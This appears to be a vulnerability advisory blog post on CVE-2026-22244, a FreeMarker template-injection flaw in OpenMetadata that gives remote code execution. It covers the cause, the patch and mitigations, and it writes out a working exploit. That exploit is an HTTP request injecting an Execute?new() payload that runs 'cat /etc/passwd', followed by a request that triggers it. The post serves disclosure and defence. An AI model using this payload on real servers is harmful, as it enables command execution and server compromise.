Feb 24, 2026·5 min read·3 visits
OpenMetadata versions prior to 1.11.4 contain a critical RCE vulnerability. The application allows administrators to edit email templates using Apache FreeMarker without adequate sandboxing. An attacker with admin privileges can inject a payload invoking `freemarker.template.utility.Execute`, granting immediate Remote Code Execution on the host server.
In the world of data governance, OpenMetadata is the sheriff in town, cataloging schemas and ensuring compliance. But who governs the governor? CVE-2026-22244 is a Critical Server-Side Template Injection (SSTI) vulnerability in OpenMetadata's email notification system. By abusing the Apache FreeMarker template engine, authenticated attackers can break out of the template sandbox and execute arbitrary commands on the server. It’s a classic case of "trusted input" that wasn't actually trustworthy, allowing administrative users to turn a simple email test into a full-blown remote shell session.
OpenMetadata is designed to bring order to chaos, centralizing metadata for data teams. It’s a complex beast, built on a modern stack including Dropwizard, Jetty, and—crucially for us—Apache FreeMarker for rendering emails. Features like "customizable email templates" sound great on a sales slide. They allow admins to tweak wording, add branding, or change notification layouts. But in the security world, "customizable" often translates to "exploitable."
The vulnerability here, CVE-2026-22244, isn't some obscure memory corruption bug requiring heap feng shui. It’s a logic flaw in how the application trusts its administrators. The developers assumed that anyone with admin rights wouldn't want to destroy the server. They forgot the cardinal rule: Implicit trust is the root of all evil (and most RCEs). By leaving the template engine configuration wide open, they handed attackers a loaded gun disguised as a rich-text editor.
The core issue lies in the configuration of Apache FreeMarker. FreeMarker is powerful; it's not just for swapping variable names. It has built-in capabilities that, if not explicitly disabled, allow for object instantiation and reflection.
In affected versions of OpenMetadata, the Configuration object for FreeMarker was initialized with defaults that are effectively UNRESTRICTED. This means the template engine allows the use of the ?new built-in. This innocent-looking function allows a template writer to instantiate any Java class on the classpath that implements TemplateModel or has a public constructor.
Combined with the freemarker.template.utility.Execute class—which conveniently exists in the standard FreeMarker library—this becomes a direct bridge to Runtime.getRuntime().exec(). The application essentially says, "Here is a template, feel free to run any Java code you want to render it."
Let's look at the difference between a vulnerable configuration and a secured one. In the vulnerable DefaultTemplateProvider.java, the configuration was likely instantiated without setting a NewBuiltinClassResolver. This defaults to allowing unrestricted class loading.
The fix, applied in commit bffe7c45807763f9b682021d4211c478d2a08bb3, explicitly locks this down. Here is the conceptual diff:
// Vulnerable Code (Concept)
Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);
// ... standard settings ...
// ABSENCE of security settings here means UNRESTRICTED access
// Patched Code
Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);
// 1. Restrict class instantiation to a safelist (or block dangerous ones)
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
// 2. Disable the ?api builtin which allows reflection
cfg.setAPIBuiltinEnabled(false);The SAFER_RESOLVER is a pre-built FreeMarker resolver that explicitly blacklists freemarker.template.utility.Execute, freemarker.template.utility.ObjectConstructor, and freemarker.template.utility.JythonRuntime. It’s the "Do Not Enter" sign that should have been there from day one.
Exploiting this requires administrative access, which lowers the CVSS slightly but guarantees 100% success reliability. The attack path is straightforward: modify a template, then trigger it.
Step 1: The Injection
The attacker targets the docStore API, which holds the email templates. We can modify the testMail template or the Invite template. The payload uses ?new() to spawn a shell.
PATCH /api/v1/docStore/email_template_entity_id HTTP/1.1
Content-Type: application/json
{
"data": {
"body": "<#assign ex='freemarker.template.utility.Execute'?new()> ${ex('cat /etc/passwd')}"
}
}Step 2: The Trigger
Once the template is saved, we just need OpenMetadata to render it. The easiest way is the "Test Email" functionality found in the settings menu.
PUT /api/v1/system/email/test HTTP/1.1
Host: target-metadata.com
...Step 3: The Execution
The server processes the template. When it hits the ${ex(...)} directive, it instantiates the Execute class, runs cat /etc/passwd, and (conveniently) pipes the output right back into the email body or the HTTP response. You now have RCE as the user running the Java process.
You might argue, "But you need Admin access! If I'm Admin, I already own the app!" This is a dangerous misconception. In modern DevSecOps, an Application Admin is NOT the same as a System Root.
An Application Admin should be able to manage metadata schemas and users. They should not be able to:
This vulnerability bridges the gap between "App Admin" and "Server Owner." It turns a configuration privilege into full infrastructure compromise. In a Kubernetes environment, this gives the attacker a foothold in the cluster, potentially leading to a container escape or lateral movement to the database pod containing all your organization's sensitive metadata.
The remediation is simple: Upgrade to OpenMetadata 1.11.4. If you cannot upgrade immediately, you are in a tight spot because the vulnerability is in the compiled Java code, not a configuration file you can easily tweak without recompiling.
Immediate Mitigation Strategy:
freemarker.template.utility.Execute, but template injections are notoriously hard to regex-match reliably due to obfuscation possibilities (e.g., string concatenation inside the template).For developers reading this: If you use a template engine (FreeMarker, Velocity, Jinja2), always assume the template is hostile. Enable the strictest sandboxing available by default.
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P| Product | Affected Versions | Fixed Version |
|---|---|---|
OpenMetadata OpenMetadata | < 1.11.4 | 1.11.4 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-22244 |
| CVSS v4.0 | 8.5 (Critical) |
| Attack Vector | Network (Authenticated) |
| CWE | CWE-1336 (SSTI) |
| Impact | Remote Code Execution (RCE) |
| Status | Patched in 1.11.4 |
Improper Neutralization of Special Elements Used in a Template Engine